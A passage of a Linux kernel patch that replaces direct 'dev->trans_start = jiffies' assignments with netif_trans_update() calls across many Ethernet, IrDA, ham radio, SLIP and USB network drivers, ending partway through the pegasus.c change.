diff --git a/drivers/net/ethernet/realtek/atp.c b/drivers/net/ethernet/realtek/atp.c
index d77d60e..5cb9678 100644
--- a/drivers/net/ethernet/realtek/atp.c
+++ b/drivers/net/ethernet/realtek/atp.c
@@ -544,7 +544,7 @@ static void tx_timeout(struct net_device *dev)
 	dev->stats.tx_errors++;
 	/* Try to restart the adapter. */
 	hardware_init(dev);
-	dev->trans_start = jiffies; /* prevent tx timeout */
+	netif_trans_update(dev); /* prevent tx timeout */
 	netif_wake_queue(dev);
 	dev->stats.tx_errors++;
 }
diff --git a/drivers/net/ethernet/seeq/sgiseeq.c b/drivers/net/ethernet/seeq/sgiseeq.c
index ca73366..c2bd537 100644
--- a/drivers/net/ethernet/seeq/sgiseeq.c
+++ b/drivers/net/ethernet/seeq/sgiseeq.c
@@ -572,7 +572,7 @@ static inline int sgiseeq_reset(struct net_device *dev)
 	if (err)
 		return err;
 
-	dev->trans_start = jiffies; /* prevent tx timeout */
+	netif_trans_update(dev); /* prevent tx timeout */
 	netif_wake_queue(dev);
 
 	return 0;
@@ -648,7 +648,7 @@ static void timeout(struct net_device *dev)
 	printk(KERN_NOTICE "%s: transmit timed out, resetting\n", dev->name);
 	sgiseeq_reset(dev);
 
-	dev->trans_start = jiffies; /* prevent tx timeout */
+	netif_trans_update(dev); /* prevent tx timeout */
 	netif_wake_queue(dev);
 }
 
diff --git a/drivers/net/ethernet/sgi/meth.c b/drivers/net/ethernet/sgi/meth.c
index 5eac523..aaa80f1 100644
--- a/drivers/net/ethernet/sgi/meth.c
+++ b/drivers/net/ethernet/sgi/meth.c
@@ -708,7 +708,7 @@ static int meth_tx(struct sk_buff *skb, struct net_device *dev)
 	mace->eth.dma_ctrl = priv->dma_ctrl;
 
 	meth_add_to_tx_ring(priv, skb);
-	dev->trans_start = jiffies; /* save the timestamp */
+	netif_trans_update(dev); /* save the timestamp */
 
 	/* If TX ring is full, tell the upper layer to stop sending packets */
 	if (meth_tx_full(dev)) {
@@ -756,7 +756,7 @@ static void meth_tx_timeout(struct net_device *dev)
 	/* Enable interrupt */
 	spin_unlock_irqrestore(&priv->meth_lock, flags);
 
-	dev->trans_start = jiffies; /* prevent tx timeout */
+	netif_trans_update(dev); /* prevent tx timeout */
 	netif_wake_queue(dev);
 }
 
diff --git a/drivers/net/ethernet/sis/sis900.c b/drivers/net/ethernet/sis/sis900.c
index fd812d2..95001ee4 100644
--- a/drivers/net/ethernet/sis/sis900.c
+++ b/drivers/net/ethernet/sis/sis900.c
@@ -1575,7 +1575,7 @@ static void sis900_tx_timeout(struct net_device *net_dev)
 
 	spin_unlock_irqrestore(&sis_priv->lock, flags);
 
-	net_dev->trans_start = jiffies; /* prevent tx timeout */
+	netif_trans_update(net_dev); /* prevent tx timeout */
 
 	/* load Transmit Descriptor Register */
 	sw32(txdp, sis_priv->tx_ring_dma);
diff --git a/drivers/net/ethernet/smsc/epic100.c b/drivers/net/ethernet/smsc/epic100.c
index 443f1da..7186b89 100644
--- a/drivers/net/ethernet/smsc/epic100.c
+++ b/drivers/net/ethernet/smsc/epic100.c
@@ -889,7 +889,7 @@ static void epic_tx_timeout(struct net_device *dev)
 		ew32(COMMAND, TxQueued);
 	}
 
-	dev->trans_start = jiffies; /* prevent tx timeout */
+	netif_trans_update(dev); /* prevent tx timeout */
 	dev->stats.tx_errors++;
 	if (!ep->tx_full)
 		netif_wake_queue(dev);
diff --git a/drivers/net/ethernet/smsc/smc911x.c b/drivers/net/ethernet/smsc/smc911x.c
index a733868..cb49c96 100644
--- a/drivers/net/ethernet/smsc/smc911x.c
+++ b/drivers/net/ethernet/smsc/smc911x.c
@@ -499,7 +499,7 @@ static void smc911x_hardware_send_pkt(struct net_device *dev)
 	/* DMA complete IRQ will free buffer and set jiffies */
 #else
 	SMC_PUSH_DATA(lp, buf, len);
-	dev->trans_start = jiffies;
+	netif_trans_update(dev);
 	dev_kfree_skb_irq(skb);
 #endif
 	if (!lp->tx_throttle) {
@@ -1189,7 +1189,7 @@ smc911x_tx_dma_irq(void *data)
 	DBG(SMC_DEBUG_TX | SMC_DEBUG_DMA, dev, "TX DMA irq handler\n");
 	BUG_ON(skb == NULL);
 	dma_unmap_single(NULL, tx_dmabuf, tx_dmalen, DMA_TO_DEVICE);
-	dev->trans_start = jiffies;
+	netif_trans_update(dev);
 	dev_kfree_skb_irq(skb);
 	lp->current_tx_skb = NULL;
 	if (lp->pending_tx_skb != NULL)
@@ -1283,7 +1283,7 @@ static void smc911x_timeout(struct net_device *dev)
 		schedule_work(&lp->phy_configure);
 
 	/* We can accept TX packets again */
-	dev->trans_start = jiffies; /* prevent tx timeout */
+	netif_trans_update(dev); /* prevent tx timeout */
 	netif_wake_queue(dev);
 }
 
diff --git a/drivers/net/ethernet/smsc/smc9194.c b/drivers/net/ethernet/smsc/smc9194.c
index 664f596..d496888 100644
--- a/drivers/net/ethernet/smsc/smc9194.c
+++ b/drivers/net/ethernet/smsc/smc9194.c
@@ -663,7 +663,7 @@ static void smc_hardware_send_packet( struct net_device * dev )
 	lp->saved_skb = NULL;
 	dev_kfree_skb_any (skb);
 
-	dev->trans_start = jiffies;
+	netif_trans_update(dev);
 
 	/* we can send another packet */
 	netif_wake_queue(dev);
@@ -1104,7 +1104,7 @@ static void smc_timeout(struct net_device *dev)
 	/* "kick" the adaptor */
 	smc_reset( dev->base_addr );
 	smc_enable( dev->base_addr );
-	dev->trans_start = jiffies; /* prevent tx timeout */
+	netif_trans_update(dev); /* prevent tx timeout */
 	/* clear anything saved */
 	((struct smc_local *)netdev_priv(dev))->saved_skb = NULL;
 	netif_wake_queue(dev);
diff --git a/drivers/net/ethernet/smsc/smc91c92_cs.c b/drivers/net/ethernet/smsc/smc91c92_cs.c
index 3449893..db3c696 100644
--- a/drivers/net/ethernet/smsc/smc91c92_cs.c
+++ b/drivers/net/ethernet/smsc/smc91c92_cs.c
@@ -1172,7 +1172,7 @@ static void smc_hardware_send_packet(struct net_device * dev)
 
     smc->saved_skb = NULL;
     dev_kfree_skb_irq(skb);
-    dev->trans_start = jiffies;
+    netif_trans_update(dev);
     netif_start_queue(dev);
 }
 
@@ -1187,7 +1187,7 @@ static void smc_tx_timeout(struct net_device *dev)
 		  inw(ioaddr)&0xff, inw(ioaddr + 2));
     dev->stats.tx_errors++;
     smc_reset(dev);
-    dev->trans_start = jiffies; /* prevent tx timeout */
+    netif_trans_update(dev); /* prevent tx timeout */
     smc->saved_skb = NULL;
     netif_wake_queue(dev);
 }
diff --git a/drivers/net/ethernet/smsc/smc91x.c b/drivers/net/ethernet/smsc/smc91x.c
index c5ed27c..18ac52d 100644
--- a/drivers/net/ethernet/smsc/smc91x.c
+++ b/drivers/net/ethernet/smsc/smc91x.c
@@ -619,7 +619,7 @@ static void smc_hardware_send_pkt(unsigned long data)
 	SMC_SET_MMU_CMD(lp, MC_ENQUEUE);
 	smc_special_unlock(&lp->lock, flags);
 
-	dev->trans_start = jiffies;
+	netif_trans_update(dev);
 	dev->stats.tx_packets++;
 	dev->stats.tx_bytes += len;
 
@@ -1364,7 +1364,7 @@ static void smc_timeout(struct net_device *dev)
 		schedule_work(&lp->phy_configure);
 
 	/* We can accept TX packets again */
-	dev->trans_start = jiffies; /* prevent tx timeout */
+	netif_trans_update(dev); /* prevent tx timeout */
 	netif_wake_queue(dev);
 }
 
diff --git a/drivers/net/ethernet/sun/niu.c b/drivers/net/ethernet/sun/niu.c
index 9cc4564..a2371aa 100644
--- a/drivers/net/ethernet/sun/niu.c
+++ b/drivers/net/ethernet/sun/niu.c
@@ -6431,7 +6431,7 @@ static int niu_ioctl(struct net_device *dev, struct ifreq *ifr, int cmd)
 
 static void niu_netif_stop(struct niu *np)
 {
-	np->dev->trans_start = jiffies;	/* prevent tx timeout */
+	netif_trans_update(np->dev);	/* prevent tx timeout */
 
 	niu_disable_napi(np);
 
diff --git a/drivers/net/ethernet/sun/sungem.c b/drivers/net/ethernet/sun/sungem.c
index 2437227..d6ad0fb 100644
--- a/drivers/net/ethernet/sun/sungem.c
+++ b/drivers/net/ethernet/sun/sungem.c
@@ -226,7 +226,7 @@ static void gem_put_cell(struct gem *gp)
 
 static inline void gem_netif_stop(struct gem *gp)
 {
-	gp->dev->trans_start = jiffies;	/* prevent tx timeout */
+	netif_trans_update(gp->dev);	/* prevent tx timeout */
 	napi_disable(&gp->napi);
 	netif_tx_disable(gp->dev);
 }
diff --git a/drivers/net/ethernet/synopsys/dwc_eth_qos.c b/drivers/net/ethernet/synopsys/dwc_eth_qos.c
index af11ed1..158213c 100644
--- a/drivers/net/ethernet/synopsys/dwc_eth_qos.c
+++ b/drivers/net/ethernet/synopsys/dwc_eth_qos.c
@@ -949,7 +949,7 @@ static void dwceqos_adjust_link(struct net_device *ndev)
 
 	if (status_change) {
 		if (phydev->link) {
-			lp->ndev->trans_start = jiffies;
+			netif_trans_update(lp->ndev);
 			dwceqos_link_up(lp);
 		} else {
 			dwceqos_link_down(lp);
@@ -2203,7 +2203,7 @@ static int dwceqos_start_xmit(struct sk_buff *skb, struct net_device *ndev)
 	netdev_sent_queue(ndev, skb->len);
 	spin_unlock_bh(&lp->tx_lock);
 
-	ndev->trans_start = jiffies;
+	netif_trans_update(ndev);
 	return 0;
 
 tx_error:
diff --git a/drivers/net/ethernet/tehuti/tehuti.c b/drivers/net/ethernet/tehuti/tehuti.c
index 2524a69..7452b5f 100644
--- a/drivers/net/ethernet/tehuti/tehuti.c
+++ b/drivers/net/ethernet/tehuti/tehuti.c
@@ -1701,7 +1701,7 @@ static netdev_tx_t bdx_tx_transmit(struct sk_buff *skb,
 
 #endif
 #ifdef BDX_LLTX
-	ndev->trans_start = jiffies; /* NETIF_F_LLTX driver :( */
+	netif_trans_update(ndev); /* NETIF_F_LLTX driver :( */
 #endif
 	ndev->stats.tx_packets++;
 	ndev->stats.tx_bytes += skb->len;
diff --git a/drivers/net/ethernet/ti/cpsw.c b/drivers/net/ethernet/ti/cpsw.c
index 0fa75a8..3d4662d 100644
--- a/drivers/net/ethernet/ti/cpsw.c
+++ b/drivers/net/ethernet/ti/cpsw.c
@@ -1381,7 +1381,7 @@ static netdev_tx_t cpsw_ndo_start_xmit(struct sk_buff *skb,
 	struct cpsw_priv *priv = netdev_priv(ndev);
 	int ret;
 
-	ndev->trans_start = jiffies;
+	netif_trans_update(ndev);
 
 	if (skb_padto(skb, CPSW_MIN_PACKET_SIZE)) {
 		cpsw_err(priv, tx_err, "packet pad failed\n");
diff --git a/drivers/net/ethernet/ti/netcp_core.c b/drivers/net/ethernet/ti/netcp_core.c
index 1d0942c..3251666 100644
--- a/drivers/net/ethernet/ti/netcp_core.c
+++ b/drivers/net/ethernet/ti/netcp_core.c
@@ -1272,7 +1272,7 @@ static int netcp_ndo_start_xmit(struct sk_buff *skb, struct net_device *ndev)
 	if (ret)
 		goto drop;
 
-	ndev->trans_start = jiffies;
+	netif_trans_update(ndev);
 
 	/* Check Tx pool count & stop subqueue if needed */
 	desc_count = knav_pool_count(netcp->tx_pool);
@@ -1788,7 +1788,7 @@ static void netcp_ndo_tx_timeout(struct net_device *ndev)
 
 	dev_err(netcp->ndev_dev, "transmit timed out tx descs(%d)\n", descs);
 	netcp_process_tx_compl_packets(netcp, netcp->tx_pool_size);
-	ndev->trans_start = jiffies;
+	netif_trans_update(ndev);
 	netif_tx_wake_all_queues(ndev);
 }
 
diff --git a/drivers/net/ethernet/ti/tlan.c b/drivers/net/ethernet/ti/tlan.c
index a274cd4..5617033 100644
--- a/drivers/net/ethernet/ti/tlan.c
+++ b/drivers/net/ethernet/ti/tlan.c
@@ -1007,7 +1007,7 @@ static void tlan_tx_timeout(struct net_device *dev)
 	tlan_reset_lists(dev);
 	tlan_read_and_clear_stats(dev, TLAN_IGNORE);
 	tlan_reset_adapter(dev);
-	dev->trans_start = jiffies; /* prevent tx timeout */
+	netif_trans_update(dev); /* prevent tx timeout */
 	netif_wake_queue(dev);
 
 }
diff --git a/drivers/net/ethernet/tile/tilepro.c b/drivers/net/ethernet/tile/tilepro.c
index 298e059..0bb98bc 100644
--- a/drivers/net/ethernet/tile/tilepro.c
+++ b/drivers/net/ethernet/tile/tilepro.c
@@ -1883,7 +1883,7 @@ static int tile_net_tx(struct sk_buff *skb, struct net_device *dev)
 
 
 	/* Save the timestamp. */
-	dev->trans_start = jiffies;
+	netif_trans_update(dev);
 
 
 #ifdef TILE_NET_PARANOIA
diff --git a/drivers/net/ethernet/toshiba/spider_net.c b/drivers/net/ethernet/toshiba/spider_net.c
index 6761027..36a6e8b 100644
--- a/drivers/net/ethernet/toshiba/spider_net.c
+++ b/drivers/net/ethernet/toshiba/spider_net.c
@@ -705,7 +705,7 @@ spider_net_prepare_tx_descr(struct spider_net_card *card,
 	wmb();
 	descr->prev->hwdescr->next_descr_addr = descr->bus_addr;
 
-	card->netdev->trans_start = jiffies; /* set netdev watchdog timer */
+	netif_trans_update(card->netdev); /* set netdev watchdog timer */
 	return 0;
 }
 
diff --git a/drivers/net/ethernet/via/via-rhine.c b/drivers/net/ethernet/via/via-rhine.c
index 2b7550c..9d14731 100644
--- a/drivers/net/ethernet/via/via-rhine.c
+++ b/drivers/net/ethernet/via/via-rhine.c
@@ -1758,7 +1758,7 @@ static void rhine_reset_task(struct work_struct *work)
 
 	spin_unlock_bh(&rp->lock);
 
-	dev->trans_start = jiffies; /* prevent tx timeout */
+	netif_trans_update(dev); /* prevent tx timeout */
 	dev->stats.tx_errors++;
 	netif_wake_queue(dev);
 
diff --git a/drivers/net/ethernet/wiznet/w5100.c b/drivers/net/ethernet/wiznet/w5100.c
index 8ed0c77..ec1889c 100644
--- a/drivers/net/ethernet/wiznet/w5100.c
+++ b/drivers/net/ethernet/wiznet/w5100.c
@@ -782,7 +782,7 @@ static void w5100_restart(struct net_device *ndev)
 	w5100_hw_reset(priv);
 	w5100_hw_start(priv);
 	ndev->stats.tx_errors++;
-	ndev->trans_start = jiffies;
+	netif_trans_update(ndev);
 	netif_wake_queue(ndev);
 }
 
diff --git a/drivers/net/ethernet/wiznet/w5300.c b/drivers/net/ethernet/wiznet/w5300.c
index 8da7b93..0b37ce9 100644
--- a/drivers/net/ethernet/wiznet/w5300.c
+++ b/drivers/net/ethernet/wiznet/w5300.c
@@ -362,7 +362,7 @@ static void w5300_tx_timeout(struct net_device *ndev)
 	w5300_hw_reset(priv);
 	w5300_hw_start(priv);
 	ndev->stats.tx_errors++;
-	ndev->trans_start = jiffies;
+	netif_trans_update(ndev);
 	netif_wake_queue(ndev);
 }
 
diff --git a/drivers/net/ethernet/xilinx/ll_temac_main.c b/drivers/net/ethernet/xilinx/ll_temac_main.c
index 5a1068d..7397087 100644
--- a/drivers/net/ethernet/xilinx/ll_temac_main.c
+++ b/drivers/net/ethernet/xilinx/ll_temac_main.c
@@ -584,7 +584,7 @@ static void temac_device_reset(struct net_device *ndev)
 		dev_err(&ndev->dev, "Error setting TEMAC options\n");
 
 	/* Init Driver variable */
-	ndev->trans_start = jiffies; /* prevent tx timeout */
+	netif_trans_update(ndev); /* prevent tx timeout */
 }
 
 static void temac_adjust_link(struct net_device *ndev)
diff --git a/drivers/net/ethernet/xilinx/xilinx_axienet_main.c b/drivers/net/ethernet/xilinx/xilinx_axienet_main.c
index 4684644..8c7f5be 100644
--- a/drivers/net/ethernet/xilinx/xilinx_axienet_main.c
+++ b/drivers/net/ethernet/xilinx/xilinx_axienet_main.c
@@ -508,7 +508,7 @@ static void axienet_device_reset(struct net_device *ndev)
 	axienet_set_multicast_list(ndev);
 	axienet_setoptions(ndev, lp->options);
 
-	ndev->trans_start = jiffies;
+	netif_trans_update(ndev);
 }
 
 /**
diff --git a/drivers/net/ethernet/xilinx/xilinx_emaclite.c b/drivers/net/ethernet/xilinx/xilinx_emaclite.c
index e324b30..3cee84a 100644
--- a/drivers/net/ethernet/xilinx/xilinx_emaclite.c
+++ b/drivers/net/ethernet/xilinx/xilinx_emaclite.c
@@ -531,7 +531,7 @@ static void xemaclite_tx_timeout(struct net_device *dev)
 	}
 
 	/* To exclude tx timeout */
-	dev->trans_start = jiffies; /* prevent tx timeout */
+	netif_trans_update(dev); /* prevent tx timeout */
 
 	/* We're all ready to go. Start the queue */
 	netif_wake_queue(dev);
@@ -563,7 +563,7 @@ static void xemaclite_tx_handler(struct net_device *dev)
 			dev->stats.tx_bytes += lp->deferred_skb->len;
 			dev_kfree_skb_irq(lp->deferred_skb);
 			lp->deferred_skb = NULL;
-			dev->trans_start = jiffies; /* prevent tx timeout */
+			netif_trans_update(dev); /* prevent tx timeout */
 			netif_wake_queue(dev);
 		}
 	}
diff --git a/drivers/net/ethernet/xircom/xirc2ps_cs.c b/drivers/net/ethernet/xircom/xirc2ps_cs.c
index d56f869..7b44968 100644
--- a/drivers/net/ethernet/xircom/xirc2ps_cs.c
+++ b/drivers/net/ethernet/xircom/xirc2ps_cs.c
@@ -1199,7 +1199,7 @@ xirc2ps_tx_timeout_task(struct work_struct *work)
 	struct net_device *dev = local->dev;
     /* reset the card */
     do_reset(dev,1);
-    dev->trans_start = jiffies; /* prevent tx timeout */
+    netif_trans_update(dev); /* prevent tx timeout */
     netif_wake_queue(dev);
 }
 
diff --git a/drivers/net/fjes/fjes_main.c b/drivers/net/fjes/fjes_main.c
index 7ad3d04..f4e6926 100644
--- a/drivers/net/fjes/fjes_main.c
+++ b/drivers/net/fjes/fjes_main.c
@@ -718,7 +718,7 @@ fjes_xmit_frame(struct sk_buff *skb, struct net_device *netdev)
 
 					ret = NETDEV_TX_OK;
 				} else {
-					netdev->trans_start = jiffies;
+					netif_trans_update(netdev);
 					netif_tx_stop_queue(cur_queue);
 
 					if (!work_pending(&adapter->tx_stall_task))
diff --git a/drivers/net/hamradio/mkiss.c b/drivers/net/hamradio/mkiss.c
index c685937..1dfe230 100644
--- a/drivers/net/hamradio/mkiss.c
+++ b/drivers/net/hamradio/mkiss.c
@@ -519,7 +519,7 @@ static void ax_encaps(struct net_device *dev, unsigned char *icp, int len)
 	dev->stats.tx_packets++;
 	dev->stats.tx_bytes += actual;
 
-	ax->dev->trans_start = jiffies;
+	netif_trans_update(ax->dev);
 	ax->xleft = count - actual;
 	ax->xhead = ax->xbuff + actual;
 }
diff --git a/drivers/net/hamradio/scc.c b/drivers/net/hamradio/scc.c
index ce88df3..b808316 100644
--- a/drivers/net/hamradio/scc.c
+++ b/drivers/net/hamradio/scc.c
@@ -1669,7 +1669,7 @@ static netdev_tx_t scc_net_tx(struct sk_buff *skb, struct net_device *dev)
 		dev_kfree_skb(skb_del);
 	}
 	skb_queue_tail(&scc->tx_queue, skb);
-	dev->trans_start = jiffies;
+	netif_trans_update(dev);
 	
 
 	/*
diff --git a/drivers/net/hamradio/yam.c b/drivers/net/hamradio/yam.c
index 1a4729c..aaff07c 100644
--- a/drivers/net/hamradio/yam.c
+++ b/drivers/net/hamradio/yam.c
@@ -601,7 +601,7 @@ static netdev_tx_t yam_send_packet(struct sk_buff *skb,
 		return ax25_ip_xmit(skb);
 
 	skb_queue_tail(&yp->send_queue, skb);
-	dev->trans_start = jiffies;
+	netif_trans_update(dev);
 	return NETDEV_TX_OK;
 }
 
diff --git a/drivers/net/irda/ali-ircc.c b/drivers/net/irda/ali-ircc.c
index 64bb44d..c285eaf 100644
--- a/drivers/net/irda/ali-ircc.c
+++ b/drivers/net/irda/ali-ircc.c
@@ -1427,7 +1427,7 @@ static netdev_tx_t ali_ircc_fir_hard_xmit(struct sk_buff *skb,
 		/* Check for empty frame */
 		if (!skb->len) {
 			ali_ircc_change_speed(self, speed); 
-			dev->trans_start = jiffies;
+			netif_trans_update(dev);
 			spin_unlock_irqrestore(&self->lock, flags);
 			dev_kfree_skb(skb);
 			return NETDEV_TX_OK;
@@ -1533,7 +1533,7 @@ static netdev_tx_t ali_ircc_fir_hard_xmit(struct sk_buff *skb,
 	/* Restore bank register */
 	switch_bank(iobase, BANK0);
 
-	dev->trans_start = jiffies;
+	netif_trans_update(dev);
 	spin_unlock_irqrestore(&self->lock, flags);
 	dev_kfree_skb(skb);
 
@@ -1946,7 +1946,7 @@ static netdev_tx_t ali_ircc_sir_hard_xmit(struct sk_buff *skb,
 		/* Check for empty frame */
 		if (!skb->len) {
 			ali_ircc_change_speed(self, speed); 
-			dev->trans_start = jiffies;
+			netif_trans_update(dev);
 			spin_unlock_irqrestore(&self->lock, flags);
 			dev_kfree_skb(skb);
 			return NETDEV_TX_OK;
@@ -1966,7 +1966,7 @@ static netdev_tx_t ali_ircc_sir_hard_xmit(struct sk_buff *skb,
 	/* Turn on transmit finished interrupt. Will fire immediately!  */
 	outb(UART_IER_THRI, iobase+UART_IER); 
 
-	dev->trans_start = jiffies;
+	netif_trans_update(dev);
 	spin_unlock_irqrestore(&self->lock, flags);
 
 	dev_kfree_skb(skb);
diff --git a/drivers/net/irda/bfin_sir.c b/drivers/net/irda/bfin_sir.c
index 303c4bd..be5bb0b 100644
--- a/drivers/net/irda/bfin_sir.c
+++ b/drivers/net/irda/bfin_sir.c
@@ -531,7 +531,7 @@ static void bfin_sir_send_work(struct work_struct *work)
 	bfin_sir_dma_tx_chars(dev);
 #endif
 	bfin_sir_enable_tx(port);
-	dev->trans_start = jiffies;
+	netif_trans_update(dev);
 }
 
 static int bfin_sir_hard_xmit(struct sk_buff *skb, struct net_device *dev)
diff --git a/drivers/net/irda/irda-usb.c b/drivers/net/irda/irda-usb.c
index 25f2196..a198946 100644
--- a/drivers/net/irda/irda-usb.c
+++ b/drivers/net/irda/irda-usb.c
@@ -429,7 +429,7 @@ static netdev_tx_t irda_usb_hard_xmit(struct sk_buff *skb,
 			 * do an extra memcpy and increment packet counters...
 			 * Jean II */
 			irda_usb_change_speed_xbofs(self);
-			netdev->trans_start = jiffies;
+			netif_trans_update(netdev);
 			/* Will netif_wake_queue() in callback */
 			goto drop;
 		}
@@ -526,7 +526,7 @@ static netdev_tx_t irda_usb_hard_xmit(struct sk_buff *skb,
 		netdev->stats.tx_packets++;
                 netdev->stats.tx_bytes += skb->len;
 		
-		netdev->trans_start = jiffies;
+		netif_trans_update(netdev);
 	}
 	spin_unlock_irqrestore(&self->lock, flags);
 	
diff --git a/drivers/net/irda/nsc-ircc.c b/drivers/net/irda/nsc-ircc.c
index dc0dbd8..9ef13d8 100644
--- a/drivers/net/irda/nsc-ircc.c
+++ b/drivers/net/irda/nsc-ircc.c
@@ -1399,7 +1399,7 @@ static netdev_tx_t nsc_ircc_hard_xmit_sir(struct sk_buff *skb,
 				 * to make sure packets gets through the
 				 * proper xmit handler - Jean II */
 			}
-			dev->trans_start = jiffies;
+			netif_trans_update(dev);
 			spin_unlock_irqrestore(&self->lock, flags);
 			dev_kfree_skb(skb);
 			return NETDEV_TX_OK;
@@ -1424,7 +1424,7 @@ static netdev_tx_t nsc_ircc_hard_xmit_sir(struct sk_buff *skb,
 	/* Restore bank register */
 	outb(bank, iobase+BSR);
 
-	dev->trans_start = jiffies;
+	netif_trans_update(dev);
 	spin_unlock_irqrestore(&self->lock, flags);
 
 	dev_kfree_skb(skb);
@@ -1470,7 +1470,7 @@ static netdev_tx_t nsc_ircc_hard_xmit_fir(struct sk_buff *skb,
 				 * the speed change has been done.
 				 * Jean II */
 			}
-			dev->trans_start = jiffies;
+			netif_trans_update(dev);
 			spin_unlock_irqrestore(&self->lock, flags);
 			dev_kfree_skb(skb);
 			return NETDEV_TX_OK;
@@ -1553,7 +1553,7 @@ static netdev_tx_t nsc_ircc_hard_xmit_fir(struct sk_buff *skb,
 	/* Restore bank register */
 	outb(bank, iobase+BSR);
 
-	dev->trans_start = jiffies;
+	netif_trans_update(dev);
 	spin_unlock_irqrestore(&self->lock, flags);
 	dev_kfree_skb(skb);
 
diff --git a/drivers/net/irda/smsc-ircc2.c b/drivers/net/irda/smsc-ircc2.c
index b455ffe..dcf92ba 100644
--- a/drivers/net/irda/smsc-ircc2.c
+++ b/drivers/net/irda/smsc-ircc2.c
@@ -862,7 +862,7 @@ static void smsc_ircc_timeout(struct net_device *dev)
 	spin_lock_irqsave(&self->lock, flags);
 	smsc_ircc_sir_start(self);
 	smsc_ircc_change_speed(self, self->io.speed);
-	dev->trans_start = jiffies; /* prevent tx timeout */
+	netif_trans_update(dev); /* prevent tx timeout */
 	netif_wake_queue(dev);
 	spin_unlock_irqrestore(&self->lock, flags);
 }
diff --git a/drivers/net/irda/stir4200.c b/drivers/net/irda/stir4200.c
index 83cc48a..42da094 100644
--- a/drivers/net/irda/stir4200.c
+++ b/drivers/net/irda/stir4200.c
@@ -718,7 +718,7 @@ static void stir_send(struct stir_cb *stir, struct sk_buff *skb)
 
 	stir->netdev->stats.tx_packets++;
 	stir->netdev->stats.tx_bytes += skb->len;
-	stir->netdev->trans_start = jiffies;
+	netif_trans_update(stir->netdev);
 	pr_debug("send %d (%d)\n", skb->len, wraplen);
 
 	if (usb_bulk_msg(stir->usbdev, usb_sndbulkpipe(stir->usbdev, 1),
diff --git a/drivers/net/irda/via-ircc.c b/drivers/net/irda/via-ircc.c
index 6960d4c..ca4442a 100644
--- a/drivers/net/irda/via-ircc.c
+++ b/drivers/net/irda/via-ircc.c
@@ -774,7 +774,7 @@ static netdev_tx_t via_ircc_hard_xmit_sir(struct sk_buff *skb,
 		/* Check for empty frame */
 		if (!skb->len) {
 			via_ircc_change_speed(self, speed);
-			dev->trans_start = jiffies;
+			netif_trans_update(dev);
 			dev_kfree_skb(skb);
 			return NETDEV_TX_OK;
 		} else
@@ -821,7 +821,7 @@ static netdev_tx_t via_ircc_hard_xmit_sir(struct sk_buff *skb,
 	RXStart(iobase, OFF);
 	TXStart(iobase, ON);
 
-	dev->trans_start = jiffies;
+	netif_trans_update(dev);
 	spin_unlock_irqrestore(&self->lock, flags);
 	dev_kfree_skb(skb);
 	return NETDEV_TX_OK;
@@ -849,7 +849,7 @@ static netdev_tx_t via_ircc_hard_xmit_fir(struct sk_buff *skb,
 	if ((speed != self->io.speed) && (speed != -1)) {
 		if (!skb->len) {
 			via_ircc_change_speed(self, speed);
-			dev->trans_start = jiffies;
+			netif_trans_update(dev);
 			dev_kfree_skb(skb);
 			return NETDEV_TX_OK;
 		} else
@@ -869,7 +869,7 @@ static netdev_tx_t via_ircc_hard_xmit_fir(struct sk_buff *skb,
 	via_ircc_dma_xmit(self, iobase);
 //F01   }
 //F01   if (self->tx_fifo.free < (MAX_TX_WINDOW -1 )) netif_wake_queue(self->netdev);
-	dev->trans_start = jiffies;
+	netif_trans_update(dev);
 	dev_kfree_skb(skb);
 	spin_unlock_irqrestore(&self->lock, flags);
 	return NETDEV_TX_OK;
diff --git a/drivers/net/slip/slip.c b/drivers/net/slip/slip.c
index a17d86a..9ed6d1c 100644
--- a/drivers/net/slip/slip.c
+++ b/drivers/net/slip/slip.c
@@ -407,7 +407,7 @@ static void sl_encaps(struct slip *sl, unsigned char *icp, int len)
 	set_bit(TTY_DO_WRITE_WAKEUP, &sl->tty->flags);
 	actual = sl->tty->ops->write(sl->tty, sl->xbuff, count);
 #ifdef SL_CHECK_TRANSMIT
-	sl->dev->trans_start = jiffies;
+	netif_trans_update(sl->dev);
 #endif
 	sl->xleft = count - actual;
 	sl->xhead = sl->xbuff + actual;
diff --git a/drivers/net/usb/catc.c b/drivers/net/usb/catc.c
index 4e2b26a..d9ca05d 100644
--- a/drivers/net/usb/catc.c
+++ b/drivers/net/usb/catc.c
@@ -376,7 +376,7 @@ static int catc_tx_run(struct catc *catc)
 	catc->tx_idx = !catc->tx_idx;
 	catc->tx_ptr = 0;
 
-	catc->netdev->trans_start = jiffies;
+	netif_trans_update(catc->netdev);
 	return status;
 }
 
@@ -389,7 +389,7 @@ static void catc_tx_done(struct urb *urb)
 	if (status == -ECONNRESET) {
 		dev_dbg(&urb->dev->dev, "Tx Reset.\n");
 		urb->status = 0;
-		catc->netdev->trans_start = jiffies;
+		netif_trans_update(catc->netdev);
 		catc->netdev->stats.tx_errors++;
 		clear_bit(TX_RUNNING, &catc->flags);
 		netif_wake_queue(catc->netdev);
diff --git a/drivers/net/usb/kaweth.c b/drivers/net/usb/kaweth.c
index f64b25c..770212b 100644
--- a/drivers/net/usb/kaweth.c
+++ b/drivers/net/usb/kaweth.c
@@ -938,7 +938,7 @@ static void kaweth_tx_timeout(struct net_device *net)
 
 	dev_warn(&net->dev, "%s: Tx timed out. Resetting.\n", net->name);
 	kaweth->stats.tx_errors++;
-	net->trans_start = jiffies;
+	netif_trans_update(net);
 
 	usb_unlink_urb(kaweth->tx_urb);
 }
diff --git a/drivers/net/usb/lan78xx.c b/drivers/net/usb/lan78xx.c
index f20890e..0ea883a 100644
--- a/drivers/net/usb/lan78xx.c
+++ b/drivers/net/usb/lan78xx.c
@@ -3013,7 +3013,7 @@ gso_skb:
 	ret = usb_submit_urb(urb, GFP_ATOMIC);
 	switch (ret) {
 	case 0:
-		dev->net->trans_start = jiffies;
+		netif_trans_update(dev->net);
 		lan78xx_queue_skb(&dev->txq, skb, tx_start);
 		if (skb_queue_len(&dev->txq) >= dev->tx_qlen)
 			netif_stop_queue(dev->net);
@@ -3697,7 +3697,7 @@ int lan78xx_resume(struct usb_interface *intf)
 				usb_free_urb(res);
 				usb_autopm_put_interface_async(dev->intf);
 			} else {
-				dev->net->trans_start = jiffies;
+				netif_trans_update(dev->net);
 				lan78xx_queue_skb(&dev->txq, skb, tx_start);
 			}
 		}
diff --git a/drivers/net/usb/pegasus.c b/drivers/net/usb/pegasus.c
index f840802..80d05db 100644
--- a/drivers/net/usb/pegasus.c
+++ b/drivers/net/usb/pegasus.c
@@ -615,7 +615,7 @@ static void write_bulk_callback(struct urb *urb)
 		break;
 	}
 
-	net->trans_start = jiffies; /* prevent tx timeout */
